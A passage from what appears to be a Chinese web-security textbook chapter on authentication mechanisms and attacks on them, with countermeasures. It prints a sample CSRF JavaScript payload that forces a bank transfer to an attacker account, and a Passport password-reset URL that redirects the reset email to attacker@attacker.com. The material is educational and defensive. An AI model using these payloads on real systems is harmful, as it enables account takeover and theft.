下面是这种验证的实际工作原理：在登录时，用户的设备被动地使用账户注册时创建的特殊设备ID验证，为服务器-客户验证做准备。用户输入其用户名，然后在输入密码之前被要求识别一个图像和相关的短语。这些图像/短语用于提供简单的网站视觉/文本验证，以缓解恶意网站对合法网站的仿冒（和网络钓鱼相同）。输入正确的密码之后，用户像平常一样验证。PassMark/SiteKey的进一步演示的链接可以参见本章结尾处的“参考与延伸阅读”。

PassMark/SiteKey提供了比简单的基于用户名/密码系统更好的安全性，但是好多少呢？我们在咨询工作中已经测试了一些PassMark保护的应用，下面是我们的一些发现，结合了互联网社区的大致评论。

早期的断言之一——PassMark容易受到中间人（MITM）攻击似乎并不确定。PassMark使用安全的cookie，只在SSL连接上发送。除非用户接受失败的SSL握手，否则安全cookie不会发送。所以PassMark似乎不会比SSL本身更容易遭到MITM攻击。

但是，当美国银行的SiteKey实现不能识别你验证所用的设备时（因为它未被登记），它将要求你回答一个秘密的问题。这可能遭到MITM攻击，因为攻击者可以在用户/网站之间代理这次问答。

除此之外，PassMark显示一个唯一的图像/短语来验证用户的设计导致了一个用户名枚举漏洞，使攻击者很容易确定一个账户是否有效。在本章一开始用户名枚举的讨论中提到过，这一般不是严重的漏洞，因为攻击者还必须猜测账户相关的密码。

一些更广泛的社区中对PassMark和SiteKey的评论包括断言PassMark仅仅是用添加的设备ID拖累现有的用户名/密码系统，在用户不可避免地尝试从各种设备（其他计算机、公用电话、电话、PDA等）验证时会提示许多秘密问题，加剧了可用性问题。

最严重的可能是，一些评论已经提出了PassMark导致对不断发展的消费者设备ID信息（必须由可靠的企业存储）机密性的广泛依赖问题。如果一个实施者出现设备ID信息的安全缺口，所有PassMark实施者都可能丢失它所提供的双因素验证的好处。更多的PassMark和SiteKey链接参见本章结尾处的“参考与延伸阅读”。

一次性密码

一次性密码（OTP）已经出现许多年了。从名字中你可能猜到，OTP协议包括服务器和客户端预先确定的一组秘密（也就是一系列密码），在验证事务中只使用一次。继续密码列表的示例，第一次验证时，客户端提供列表中的第一个密码，服务器和客户端接着从列表中删除这个密码，使其在未来的验证中失效。OTP的基本思路是减少密码本身的大部分敏感度，这样用户就不必忍受保持密码安全的复杂性。更多关于OTP的信息可以在本章结尾处的“参考与延伸阅读”中找到。

本书编写时最流行的商业OTP实现是RSA Security的SecureID系统。和共享密码列表不同，SecureID在客户端和服务器之间实施一种异步协议，这样密码（实际上是数字序列或者PIN码）只能在一个小的时间窗口（如30秒）之内使用。这种OTP的精巧变种提供了高的安全性，因为密码只在30秒内对攻击者有价值。在每个时间窗口过期时，客户端与服务器同步生成一个新的密码。客户端一般是个实施OTP协议并且在每个时间间隔后生成新密码的小硬件设备（有时称为软件狗或Fob）。

OTP系统历史上已经证明是抗攻击的（至少，像SecureID这样很好地实现的协议是如此），对于规模有限、较高安全性的应用如通过VPN访问公司网络来说仍然很流行。主要的缺点是，对于大型的面向客户的部署，存在客户端设备、分发和管理的成本，每个客户、每个设备可能花费100美元。企业和客户对这些成本的态度由于近来不断增长的对网络欺诈的注意而开始改变，企业开始转向OTP处理客户对这一领域的担心。

这种转向的早期证据是网上金融机构E*Trade在2005年3月份宣布，为精选的客户实施SecureID（链接参见本章结尾处的“参考与延伸阅读”）。E*Trade称之为“具有可选数字Security ID的完整安全系统”，并且为给定期间保持某个最小余额和业务量的客户免费提供这一服务。E*Trade在使用条款中声明每个附加或者替换的SecureID fob可能课以25美元的罚金，并且在将来可能对此服务收费或者停止服务，以此保护其投资。

和所有安全措施一样，OTP也不完美。加密专家Bruce Schneier发表了一篇文章指出，仍然可以通过建立一个欺诈网站简单地代理与合法网站的OTP交换，或者在用户计算机上安装劫持已验证会话来绕过OTP。当然，如果密码重用窗口设置得太宽，就总是有可能进行重放。但是，OTP明显提升了安全门槛，Schneier提出的攻击对于任何验证系统都是通用的，在某种程度上需要个别处理。

4.1.3　Web验证服务

许多网站经营者只希望将复杂的安全工作外包，特别是验证。市场在20世纪90年代末很快地出现这一现象，Microsoft收购了Firefly Network并且采用其技术，成为互联网上的第一个验证服务——Microsoft Passport（现称Windows Live ID），这一服务可以供其他网站使用以管理客户身份。开始，Windows Live ID计划用于处理Microsoft之外网站的验证，一度甚至吹嘘像eBay.com这样的重量级网站也成为其成员。但是，这个服务从未在Microsoft之外的网站上得到广泛采用，现在主要限于Microsoft管理的或者与Microsoft服务紧密集成的Web应用使用。为了弥补Microsoft撤出留下的空白，2005年LiveJournal的创立者Brad Fitzpatrick的工作得到了成果，一组相对新颖的规范出现，定义了一种开放而分散的验证服务。这种服务最早称作Yadis，现在名为OpenID，多年以来已经流行起来，号称拥有超过10亿个OpenID，有900万个网站消费这些ID。本小节将从较高的层次介绍这两种技术，以及它们与验证安全的相关性。

Windows Live ID

Windows Live ID是Microsoft Passport服务革新的最新阶段，用于验证Microsoft的核心Web应用，包括MSN、Hotmail、Messenger、Xbox Live、Channel9等。Windows Live ID是一种包含用于在Windows Live ID服务上验证用户的一个或者多个声明组成的数字身份。这些声明可能由用户电子邮件、所属组织和用户所关联的角色、关系和其他授权相关数据组成。验证通过使用用户名/密码配对、强密码和安全PIN组合、智能卡或者自发行的Windows CardSpace卡实现。Windows Live ID也支持特殊的机制如RADIUS协议以验证非标准设备，包括手机和Xbox360。

Windows Live ID验证的基本后台过程是：首先，用户试图得到依赖Windows Live ID验证服务的网站的验证。假定用户尚未验证，他将被重定向到Windows Live ID验证网站，重定向中携带关于他试图验证的网站（例如Channel9.msdn.com）的信息。提示用户输入Windows Live ID验证凭据，一般是用户名和密码，如果验证尝试成功，一些验证令牌将在响应中的一个表单里返回。该表单将指向用户试图验证的网站（Channel9），响应中的JavaScript将成功地完成验证过程。传输验证令牌的表单方法对于从Windows Live ID服务所在的live.com到Channel9所在的Channel9.msdn.com域交流验证令牌来说是必要的。

当目标应用也位于live.com域之下时（像Hotmail），验证令牌一般设置在响应HTTP首部之中的cookie。但是，当目标域（例如channel9.mdsn.com）与Windows Live域（例如live.com）不同时，基于表单的令牌存储是必需的，因为浏览器强制的同源策略阻止一个域访问在另一个域中设置的cookie值。

许多分析中的常见主题暗示，使用Windows Live ID验证中最大的危险之一是使用可信任用户的计算机上盗取的验证cookie进行的重放攻击。当然，如果攻击者能够窃取验证凭据，那么就可以击垮大部分验证系统，正如本章较早对安全令牌重放攻击的讨论中所提到的那样。

和许多其他验证系统相似，Windows Live ID也容易遭到密码猜测攻击（最小的密码长度为6个字符，没有要求不同的大小写、数字或者特殊字符）。尽管没有固定的账户锁定功能，但是在一定次数的失败登录尝试之后，账户将被暂时禁止登录（错误信息中提出的是“一会儿”）。这种设计使在线密码猜测攻击的时间显著延长。

Windows Live Delegated Authentication： Windows Delegated Authentication服务使应用开发人员能够利用外部暴露的Windows Live验证Web服务于特定的Windows Live ID和服务交互并且读取相关数据。例如，开发人员可以创建一个应用连接和读取Windows Live Contacts数据（用于Hotmail、Messenger和Mobile），用于他自己的应用。在Microsoft术语中，提供Contact数据访问的Windows Live Contacts API被称作资源提供者（Resource provider），连接到它的应用称作应用提供者（Application provider）。为了访问尝试的成功，用户必须通过许可用户界面（Consent user interface）允许这一操作。许可的寿命和有效性以及允许数据访问的范围可在任何时候由最终用户调整。

当用户通过许可用户界面为应用提供者提供访问资源提供者的权限时，返回一个许可令牌（Consent token）和授权令牌（Delegation token）给应用提供者，用于后续的操作。这两个令牌的组合对于应用提供者验证对资源提供者保护的数据的后续访问来说是必需的。许可令牌包含定义用户允许应用提供者访问的“提供物”和“操作”，以及其他应用提供者所需要的重要数据。授权令牌是包含在许可令牌中的加密数据块，在执行读取或者操纵验证过的用户数据的操作时必须传递给资源提供者。重要的是，授权令牌可以用于验证资源提供者，即使对应的用户已经注销了Windows Live。但是，许可和授权令牌的寿命由最终用户定义。

虽然Delegated Authentication为开发人员提供了创建集成于Microsoft资源提供者所需的灵活性，但是对于最终用户有额外的安全风险。首先，应用提供者始终有遭到入侵的风险，导致活动的验证令牌泄露给未授权方以及对来自资源提供者的本地缓冲数据的访问。这种可能的泄露增加了通过资源提供者访问的数据的整体攻击面。

当然，恶意用户可能注册邪恶的应用提供者诱惑轻信和容易受骗的用户（我们面对过很多），使他们提供资源提供者的访问授权，这种风险始终存在。尽管这种风险值得考虑，但是与常规的钓鱼攻击没有显著的不同。

OpenID

OpenID是一种以用户为中心的分散验证系统，提供与Windows Live ID相同的服务。关键的不同是在OpenID中没有中心验证提供者。提供者可以是任意数量的组织，带来了更好的选择和灵活性。

对一个依赖方（以前称为OpenID消费者）网站验证的过程很简单。首先，未验证的用户访问支持OpenID的网站——比如slashdot.com——选择OpenID作为验证方法。接着提示用户提供一个指定其选定提供者的一个唯一身份URL。例如，一个流行的提供者MyOpenID（www.myopenid.com）创建<用户名>.myopenid.com形式的URL，这里的<用户名>是创建MyOpenID用户时选择的名称。当试图向依赖方（Slashdot）验证的用户提供这一URL时，就被重定向到提供网站（MyOpenID）的登录页面，提示输入账户创建时选择的密码。如果用户提供了正确的密码，他将从OpenID提供者被重定向回原始网站，成为已验证用户。从这时起，如果他是第一次验证到该网站，可能会被要求完成与简档相关的信息。

这个示例使用密码作为必需的验证凭据，但是这对于OpenID规范不是强制的。不强制使用凭据类型使验证提供者可以支持任何数量的凭据类型，例如客户端证书、生物特征测定设备或者智能卡。

使用OpenID最大的缺点是，OpenID账户凭据的一次泄露，就将导致受害用户到这时为止使用的每个OpenID Web应用都受到危害。虽然攻击者可能不知道它们是什么应用，但是很容易列举流行的网站直到碰到自己感兴趣的网站。这种风险可以通过实施强密码、定时修改密码或者简单地选择更强的验证方法如客户端证书和其他数据身份系统（如Windows CardSpace）来缓解。

攻击者很容易诱骗用户在恶意的OpenID钓鱼网站上提供凭据，这增大了凭据盗窃的风险。谈到OpenID安全性时，这个问题通常最先被提起。例如，很容易创建一个网站，看上去接受常规的OpenID提供者URL，但是在后端将验证用户重定向到一个类似所选择的提供者但由攻击者控制的网站。除非用户很小心地注意到他们被重定向到其他网站，否则等他们注意到攻击就为时太晚了。其他安全性考虑已经在OpenID2.0验证规范中列出，链接可以在本章结尾处的“参考与延伸阅读”中找到。

2007年2月，Microsoft宣布与JanRain、Sxip和VeriSign合作，将Microsoft Windows CardSpace数字身份平台技术集成到OpenID中，成为OpenID的抗仿冒验证解决方案的一部分。因为CardSpace依赖于加密技术支持的数字身份，攻击者将很难在没有直接侵害客户机器上存储的数字身份的情况下假扮客户。更多关于Microsoft Windows CardSpace的信息在下一小节中提供。

虽然与安全不相关，但OpenID的另一个缺点是，它尚未被许多在线社区的主要成员采用。虽然Microsoft、Google和Yahoo！现在都已经成为OpenID提供者，但是这些组织目前都没有将这些凭据用于它们最流行的网络资产上。换句话说，用户将不会很快使用基于Google的OpenID用户登录到Hotmail。

Windows CardSpace

Windows CardSpace是一种身份选择器技术，用于为应用的最终用户提供身份和验证服务。经常用来说明这种技术的一个比喻是钱包。在我们的日常生活中，我们使用各种卡向相关的组织证明自己的身份，这些卡包括信用卡、健康保险、驾照和健身会员卡。有些身份卡片如信用卡需要高级的安全和保证，确认持有该卡的人是真正的所有者。其他卡片如健身会员卡或者借书卡，需要的保证较少，假造和盗窃卡片的后果也不太严重。Windows CardSpace是一种数字钱包应用，用户可以用它管理他们拥有的各种服务的数字身份（称作信息卡）。这些身份可能是第三方受信任的身份提供者签发的官方卡，也可能是用户自己签署的个人信息卡。需要高级安全的应用可能要求特定组织签发的信息卡，而其他应用可能接受任何自行签署的身份。

2008年3月，德国波鸿大学的研究人员们描述了一种针对CardSpace技术的攻击，可以用于在安全验证令牌的寿命期内对一个攻击者指定的网站假冒受害用户的身份。这种攻击的成功依赖于客户端DNS项目的恶意修改，以及客户对攻击者提供的服务器端证书的轻信。虽然没有超出可能的范围，但是如果攻击在毒害客户端DNS和使用户信任恶意的服务器证书中都获得成功，那么不管是否使用验证技术都无济于事。描述这种攻击和所使用方法的合法评论的链接（包括Microsoft首席身份架构师Kim Cameron的回复）可以在本章结尾处的“参考与延伸阅读”中找到。

4.2　绕过验证

许多时候你发现自己碰了壁，而门就在拐角处。这种想法与攻击Web验证相似。正如本章开头我们所说，许多应用意识到验证在应用安全中的重要作用，因此，它们实施了非常强大的协议。在这种情况下，直接攻击协议本身可能不是攻击验证的最简方法。

攻击应用的其他组件，例如劫持或者假造现有的已验证会话，或者攻击身份管理子系统本身，可能可以组合起来绕过验证。在本小节中，我们将讨论一些常见的完全绕过验证的攻击。

4.2.1　令牌重放

成功验证的用户常常得到某种类型的安全令牌，这样他们在应用的已验证部分中浏览时不需要重新输入凭据。这种机制的一个令人遗憾的副作用是可以通过恶意重放捕获的令牌绕过验证，这种现象有时被称作会话劫持。

Web应用一般通过保存在浏览器Cookie中的会话ID来跟踪已验证的用户会话。我们将在本小节中简短地讨论常见的猜测或者获得基于Cookie的会话ID的机制。更多关于针对验证和会话状态的攻击的信息，请参见第5章。

会话ID攻击

获得会话ID的两种基本技术是预测和暴力法。较旧的Web应用往往使用容易猜测、有时候甚至是顺序的会话标识符。使用不安全的算法或者没有足够信息量的伪随机码生成器生成的非顺序会话ID可以使用数学技术如统计预测进行预测。虽然现在所有主要的应用服务器都试图使用不可预测的会话标识符，但是偶然会发现针对广泛使用的流行技术的新型攻击。例如，2010年3月，安全研究人员Andreas Bogk揭露了PHP平台会话ID中的一个漏洞——生成功能可能导致可用会话ID池缩小到可以使用暴力会话攻击的程度。这说明了一点，在安全中没有什么是理所当然的，最好的方法始终是纵深防御策略，并着眼于基础。

对会话ID的暴力攻击包括使用所有可能的会话ID发出数千个请求，希望正确地猜中ID。需要的请求数量取决于会话ID的密钥空间。因此，这种类型攻击的成功率可以根据会话ID的大小和密钥空间来计算。

试图对流行Web应用服务器（如Java、PHP、ASP.NET）中使用的会话ID进行暴力攻击毫无意义，因为这些平台生成的会话ID的尺寸非常大。但是，对生成自定义会话ID或者其他验证令牌的应用来说，这种攻击可能产生有用的结果。

另一种针对会话ID的攻击随着多年来会话ID安全的增强而基本被废弃。这种攻击被称作会话完成攻击（Session fixation）。会话完成攻击中，攻击者可以预先设置应用服务器在后续用户验证中使用的会话ID。因为攻击者设置该值，使用预设会话ID进行验证的用户将立即暴露在会话劫持攻击之下。虽然这种漏洞比起多年前要少见，但是应用评估人员必须知道这种漏洞，并且必须知道如何在Web应用中识别它。更多关于这种攻击技术的信息请参考第5章中的“会话完成”小节和“参考与延伸阅读”。

提示　iDefense.com的David Endler编写了会话ID实现中许多弱点的详细说明。链接可以在本章结尾处的“参考与延伸阅读”中找到。

入侵cookie

cookie常常包含与验证相关的敏感数据。如果cookie包含密码或者会话标识符，窃取这个cookie就可能是对网站的非常成功的攻击。用于窃取cookie的常见技术有多种，最流行的是脚本注入和窃听。我们将在第6章中讨论脚本注入技术（也称跨站脚本）。

离线对cookie进行逆向工程也被证明是非常有力的攻击。最好的办法是收集使用不同输入的cookie示例，查看cookie改变的方式。你可以在不同的时间使用不同的账户进行验证来做到这一点。思路是查看cookie如何根据时间、用户名、访问权限等变化。比特翻转（Bit-flipping）攻击采用暴力方法，有条理地修改各位，查看cookie是否仍然有效，是否获得不同权限。我们将在第5章更详细地研究cookie攻击。在着手攻击cookie值之前，应该注意，首先要理解使用的任何编码，以及为了成功地攻击是否需要对cookie进行解码。应用开发人员常见的错误是在需要加密时使用编码格式如Base 64。这种错误有时候见于为了性能原因将角色信息缓存在cookie中的应用。因为Base64很容易解码，攻击者可以解码、修改和重新编码cookie值，可能改变分配的角色，获得应用的未授权访问。Burp web代理这样的工具对操作cookie和使用常见算法编码、解码和计算散列值等均有很好的支持。

令牌回放攻击对策

窃听是盗取安全令牌（如cookie）的最简便手段。应该使用SSL或者其他合适的会话保密技术对抗窃听攻击。

除了在线窃听之外，要知道常用的Web客户还有许多安全问题，可能将你的安全令牌暴露给恶意的客户端软件或者跨站脚本操纵（详见第9章）。

一般来说，最好的方法是使用应用服务器提供的会话标识符。但是，如果你需要建立自己的标识符，应该设计无法预测以及无法使用暴力方法攻击的令牌。例如，使用足够信息量的随机数生成器来生成会话标识符。除此之外，为了预防暴力攻击，使用无法用暴力法攻击的足够大密钥空间的会话标识符（目前的技术大约是128位）。记住，使用伪随机码生成器时你必须考虑一些问题。例如，将4个随机生成的32位整数组合起来创建一个128位会话标识符，不如使用加密的安全PRNG随机生成一个128位值安全。4个样本的会话标识符很难阻止暴力攻击。

你还应该实现安全令牌如cookie和会话ID的完整性检查，以防止客户端或者传输中的篡改。可以使用散列消息验证代码（HMAC）或者加密整个cookie值来阻止篡改。

一般来说，即使你实现了强大的保密措施和完整性保护机制，也不建议在客户端安全令牌中存储敏感数据。

4.2.2　跨站请求伪造

跨站请求伪造（Cross-site request forgery，常缩写为XSRF或CSRF）是利用Web应用和已验证用户之间的现有信任关系，强制这些用户为攻击者提交任意敏感事务的应用攻击。在安全文献中，这种攻击通常被归类为混淆代理人（Confused deputy）攻击的一种表现。这种情况下的代理人是Web应用客户浏览器，混淆是指浏览器无法正确地区分合法和未授权的请求。

尽管XSRF攻击有极其危险的特性，但是这些攻击和更容易理解的Web应用漏洞如XSS相比较少受到人们的注意。到了2006年，XSRF还被称为“沉睡的巨人”，在2007年之前还未被列入到OWASP Top 10项目中。甚至在本书编写的时候，流行的应用网站仍然不断地报告XSRF漏洞。

读者们可能感到奇怪，如果XSRF漏洞有这么大的风险，为什么直到现在还没有引起人们的注意？对这个问题有各种意见，但是部分原因无疑是因为这种漏洞是HTTP规范的无状态特性所固有的，这种特性要求验证令牌（通常是会话ID cookie和附加的验证令牌的组合）与每次请求一起发送。常识上，安全漏洞通常是由于应用开发人员在设计和开发中或者管理员在部署中所犯的错误导致的。与此相反，XSRF漏洞在开发人员在应用中忽略了XSRF预防机制时发生。换句话说，如果应用人员没有主动地防御这一问题而他们的应用支持敏感验证事务，那么应用默认情况下一般就容易遭到攻击，很少有例外。

那么XSRF攻击由什么组成呢？经典的示例是使用简单的HTTP GET请求，允许用户从一个账户向另一个账户转移资金的银行应用。假定账户转移操作采用如下形式：

http://xsrf.vulnerablebank.com/transferFunds.aspx?toaccount=12345&funds=1000.00&currency=dollars

继续上面的例子，假定攻击者在其控制之下的系统上创建一个恶意的HTML页面，包含如下JavaScript代码：

<script type="text/javascript">
var i = document.createElement("image");
i.src = "http://xsrf.vulnerablebank.com/transferFunds.aspx?
toaccount=EVIL_ATTACKER_ACCNT_NUMBER&funds=1000.00&currency=dollars";
</script>

这段JavaScript代码的效果是创建一个动态的HTML图像标记（<img...>）将来源设置为这个脆弱的银行应用上的资金转移操作。受骗访问这个恶意网页的已验证银行网站用户的客户端浏览器将会运行攻击者的JavaScript，为动态图像的来源（这个例子中是资金转移操作）创建一个后台HTTP GET请求，这个操作将被执行，就像用户愿意这么做一样。这里要记住的关键一点是，任何时候当浏览器向其他域的资源发出请求，与该域相关的cookie、端口和路径将自动连接到HTTP首部并且与请求一起发送。这当然也包含了用于标识已验证用户的会话cookie。结果是攻击者成功地迫使银行用户将资金从其账户转移到攻击者的账户。

虽然这个示例有些勉强，只是用来阐述基本的问题，但是据报道，相似的漏洞已经在真正的系统上出现，可能导致这些容易遭受攻击的组织出现严重的财务损失。例如，2006年，安全邮件列表Full Disclosure上报道，Netflix很容易遭到跨站请求伪造问题的损害，根据最先揭露这一漏洞的David Ferguson所说，可能导致如下问题：

·在他的租借队列中增加电影

·在他的租借队列最前面添加电影

·修改账户的姓名和地址

·启用/禁用额外的电影信息

·修改账户的邮件地址和密码

·取消账户（未经证实/猜测）

幸运的是，Netflix漏洞在遭受真正的损失之前得以揭露。但是，从这种漏洞可能导致的操作列表中可以看到，对Netflix用户基础的成功攻击可能造成的潜在实际财务损失和对Netflix品牌的破坏不能低估。

应该注意的是，虽然用于阐述这个问题的示例是一个HTTP GET请求，但是HTTP POST请求也容易遭到攻击。一些开发人员似乎有了误解，认为将容易遭受攻击的GET请求改为POST请求就足以弥补XSRF漏洞。但是，POST请求并不会给攻击者带来多大的困难，他们只是必须构建JavaScript，使表单的构建和POST自动化。为了阻止浏览器在POST提交时自动地将受害用户重定向到易受攻击的应用，可以在恶意页面的隐含标记iframe中嵌入JavaScript。按照一般的应用设计规则，任何后续的操作应该使用HTTP POST请求构建。

跨站请求伪造攻击对策

避免XSRF攻击主要有三种常见的方法：

·两次传递的cookie：在两次传递cookie的缓和技术中，用于提交敏感事务的每个表单生成时具有一个包含当前用户会话ID值或者其他安全生成的存储在客户端cookie中的随机值的隐藏输入域。当表单传递时，应用服务器将检查表单中的cookie值是否与HTTP请求首部中接收到的值相同。如果这两个值不同，请求将被作为无效请求拒绝，并将生成审计日志记录可能的攻击。这种方法依赖于攻击者不知道客户端会话cookie值。如果该值通过其他渠道泄露，这种策略将不会成功（会话劫持攻击仍然成为需要考虑的因素）。

·唯一的表单临时值：唯一表单临时值补救策略可能是避免XSRF攻击的最常见方法。在这种方法中，每个请求构建的每个表单具有一个隐藏输入域，包含安全生成的随机临时值（Nonce）。这个临时值必须使用加密的安全伪随机码生成器生成，否则就容易遭到攻击。当应用服务器接受作为HTTP POST请求的一部分的表单参数值时，它将比较临时值和内存中存储的值，如果这两个值不同或者临时值超时则将请求作为无效请求拒绝。如果应用需要为每个包含敏感事务表单的请求生成和关联临时值以及临时值超时值，这种方法可能很难实现。有些开发框架实现现成的提供相似功能的例程，例如，Microsoft的ASP.NET ViewState功能在回传之间保持表单状态的变化。

·要求验证凭据：这种补救方法需要已验证的用户在进行敏感事务时重新输入对应已验证会话的密码。这种策略常见于具有少数敏感事务的Web应用。以这种风格保证安全的常见应用领域是用户简档数据更新表单。应该小心地在这些页面上包含审计和锁定功能，以阻止重复地用随机猜测的密码尝试更新简档数据的XSRF验证暴力攻击。

为了说明银行资金转移操作是如何使用唯一表单临时值解决方案进行补救的，考虑下面的表单操作：

<form id="fundsTransfer" method="POST" action="transferFunds.aspx">
    <input type="textbox" name="funds" value="0.00">
    <input type="textbox" name="toaccount" value"="">
    <!-- other input fields as needed -->
    <input type="hidden" name="xsrfToken" value="eozMKoWO6g3cIUa13y5wLw==">
</form>

注意，表单里已经添加了一个附加的隐含参数xsrfToken。新的xsrfToken值在每次为对应页面发出请求时使用加密的安全伪随机码生成器随机生成。因为攻击者不知道这个值，他将无法创建恶意的表单来伪造资金转移事务。

开发人员也应该在确定处理这个问题的方法时熟悉平台专用的内建XSRF预防技术，因为这种解决方案能够大大地减少加强应用安全所需要的工作量。但是一般来说，平台专用的技术将使用前面提到的某种策略（最可能是唯一表单临时值）。关于XSRF缓解技术更详细的信息可以在本章结尾的“参考与延伸阅读”中找到。

识别跨站请求伪造漏洞

有了前一个小节中列出的补救策略，识别Web应用中的XSRF漏洞是简单的活动。如果所关心的应用表单包含了唯一的临时值、难以猜测的cookie值或者需要验证凭据的参数，那么表单就不容易遭到XSRF的攻击。但是，如果表单不包含攻击者不易猜测的值，攻击者就能在第三方网站上重建表单，进行XSRF攻击。

4.2.3　身份管理

使用的验证系统必须有某种管理身份的方法——注册、账户管理（例如密码重置）等。这些活动也需要安全地进行，因为错误可能会影响每种敏感信息（如凭据）。遗憾的是，身份管理可能是复杂的工作，许多Web应用不能很好地进行身份管理，使得它们的验证系统可能被误用和绕过。

在本小节中，我们将讨论对身份管理的常见攻击。

注意　一些网站寻求以第三方外包的方式完全避免身份管理难题。Microsoft的Windows Live ID就是这样一种服务——更多的信息参见我们前面对Live ID的讨论。

用户注册攻击

有时候，访问Web应用的最简方法是使用注册系统创建一个有效的账户。这种方法通过关注注册过程，从本质上避开了对验证界面的攻击。当然，过滤恶意目的的账户注册是有挑战性的问题，但是Web应用开发了许多机制来缓解这种活动，包括全自动区分计算机和人类的图灵测试（CAPTCHA）。CAPTCHA常在应用所有者希望阻止程序、僵尸或者脚本执行特定操作时用于基于Web的应用。CAPTCHA的一些示例包括：

·免费的电子邮件服务：许多免费电子邮件服务使用CAPTCHA阻止程序创建虚假账户，从总体上将垃圾邮件减少到最小限度。

·密码猜测攻击预防： CAPTCHA已经被用于登录页面，避免工具和程序执行自动化的密码猜测攻击。

·搜索引擎僵尸预防： CAPTCHA有时用于阻止搜索引擎僵尸索引页面。

·在线民意调查： CAPTCHA通过确保一个程序不响应民意调查，可能成为阻止人们歪曲在线民意调查结果的一种有效方法。

CAPTCHA是一种人类交互式证明（Human Interactive Proof，HIP）技术，用于确定另一端的实体是人还是计算机。这种技术以前被称作逆向图灵测试（Reverse Turing Test，RTT）。CAPTCHA的不同之处在于它是“完全自动的”，这使其适用于Web应用。

CAPTCHA的常见类型通常基于文本识别或者图像识别。下面的图像展示了常见的CAPTCHA实现。

下图显示了Gimpy-r CAPTCHA，这种技术被认为是低效的，因为自动化例程常常能将其击破：

下面显示的是用于质询Hotmail.com注册的CAPTCHA。注意，右上角有一个音频CAPTCHA选项：

下面是来自CAPTCHA.net的图形化CAPTCHA：

计算机视觉和图像识别最近的发展和研究为破坏CAPTCHA提供了基础。简单的CAPTCHA如使用文本识别的EZGimpy已经被加州大学伯克利分校的研究人员Greg Mori和Jitendra Malik攻破。AretéAssociates的Gabriel Moy、Nathan Jones、Curt Harkless和Randy Potter已经创建一个程序，在78%的情况下破坏了更复杂的Gimpy-r算法。

在编写本书的时候，PWNtcha是最成功的CAPTCHA解码器。它对破坏用于流行网站如PayPal和Slashdot的著名CAPTCHA有80%的成功率。尽管代码没有公布，但是你可以将CAPTCHA上传到该网站进行解码。图4-7展示了使用PWNtcha的一个示例。

图4-7　PWNtcha成功识别PWNtcha的类型以及图像中的文本

尽管大部分研究人员都没有发行破坏CAPTCHA的程序，但是黑客不会落在研究人员之后。本书的作者们曾经和多家已经成为黑客受害者的公司协作，这些黑客创建自动注册账户的僵尸，这些公司的应对措施是使用CAPTCHA。但是，一周之内，黑客就能够破坏CAPTCHA，采用的方法可能是对武器库中的某个现有程序进行改编。计算机视觉和处理能力的进步要求开发更复杂的CAPTCHA。在某些事例中，犯罪组织已经避开了自动化攻击的复杂性，开始简单地采用人力来破坏CAPTCHA。

凭据管理攻击

绕过验证的另一个途径是攻击凭据管理子系统。例如，大部分网站实现常见的密码恢复机制，如将新密码发送给固定的电子邮件地址，或者回答“机密问题”（例如，“你最喜欢的宠物名字是？”或者“你进入过哪所中学？”）的自助应用。

我们在咨询中发现，许多这种所谓的机密问题很容易猜测，往往不能被看做是一个“机密”。例如，我们曾经无意中发现一个设计用来引出用户的客户ID和邮政编码以便恢复密码的问题，其中的客户ID是顺序的，而邮政编码很容易使用常见邮政编码词典或者通过暴力机制猜测。

对密码恢复机制的另一种经典攻击是使密码恢复应用将密码重置信息发送到不正确的电子邮件地址。即使大型公司也曾经遭到这种攻击，正如2003年5月Microsoft的Passport Internet验证服务所出现的事故（前面已经提到过，Passport现称“Windows Live ID”，但是我们将在介绍早期对该服务的攻击时仍使用当时的名称）。Passport的自助密码重置应用设计为多步骤的过程，向应用发送一个包含允许用户修改密码的URL的电子邮件。电子邮件中的URL如（由于页宽限制进行了手工换行）：

https://register.passport.net/emailpwdreset.srf?em=victim@hotmail.com&prefem=attacker@attacker.com&rst=1

尽管查询串变量有点隐秘，但是这个例子中的emailpwdreset应用将把victim@hotmail.com账户的密码重置URL发送给邮件地址attacker@attacker.com，此后，“Attacker”（攻击者）将能重置“Victim”（受害者）的密码，从而入侵该账户。

4.2.4　客户端借道法

在本章中，我们把大部分的精力花在描述窃取或者猜测用户凭据供攻击者使用的途径上。那么如果攻击者通过借用合法验证的会话，让用户承担这些繁重的工作会如何呢？这种技术可能是绕过我们目前所描述的所有验证机制的最简单方法，而且所花费的精力少得令人吃惊。在本章前面的部分，我们引用了Bruce Schneier关于这个主题的一篇论文，他在论文中提到，中间人攻击和最终用户机器上安装的恶意软件能够有效地绕过几乎所有远程网络验证方式（你可以在本章结尾处的“参考与延伸阅读”小节中找到这篇论文的链接）。我们将在第9章中详细描述一些这种方法，但是我们认为在本章结束之前提出这一点是很重要的。

4.3　最后一些想法：身份盗窃

在我们编写本书时，通过钓鱼之类的互联网欺诈法进行的身份盗窃持续地在媒体中传播。和围绕安全的许多问题类似，这种高姿态的宣传使人们期望：科技能够在某个时候奇迹般地帮助我们转危为安。特别是新的验证技术，被看做解决身份盗窃问题的良方。

某一天，可能有人能发明完全安全并且易用的验证协议，但是与此同时，我们希望公开反对我们所认为的在身份盗窃中更容易发现的因素：在Web验证和身份管理中广泛地使用个人可识别信息（PII）。我们大多经历过使用关于个人生活的因素在在线业务中的验证：政府标识（例如社会保险号码SSN）、家庭地址、机密问题（“你曾经上过哪所中学”等）、生日等。

正如Google这样的搜索引擎和2005 CardSystems安全缺口这样的事故所表明的，现在许多个人陈述已经不在是真正的机密。加上社交网络的流行，这些因素使所谓的个人信息成为我们生活中最没有秘密的方面（Paris Hilton，你在听吗？），因而是糟糕的证明。所以我们希望对那些能听到这些话的企业提一个简单的要求：不要再收集我们的PII，也不要考虑使用它来证明我们的真实性！

读累了记得休息一会哦~

公众号：古德猫宁李

电子书搜索下载

书单分享

书友学习交流

网站：沉金书屋 https://www.chenjin5.com

电子书搜索下载

电子书打包资源分享

学习资源分享

4.4　小结

验证在任何具有敏感或者机密信息的网站中起着关键的作用。表4-2总结了我们在本章中讨论的验证方法。

表4-2　目前讨论的Web验证机制总结

网站有着不同的要求，没有一种最佳的验证方法。但是，使用这些基本的安全设计准则，就能够阻挠本章中所描述的攻击：

·强密码策略和账户锁定策略将使大部分基于密码猜测的攻击无效。

·确保需要验证的应用的所有部分确实在验证组件的覆盖下，而且这种验证不然通过暴力法绕过。

·不要使用个人可识别信息作为凭据！它们实际上不是机密，如果你存储它们，就可能对你的业务不利。

·应该使用HTTPS保护验证事务免遭窃听和重放攻击的风险。

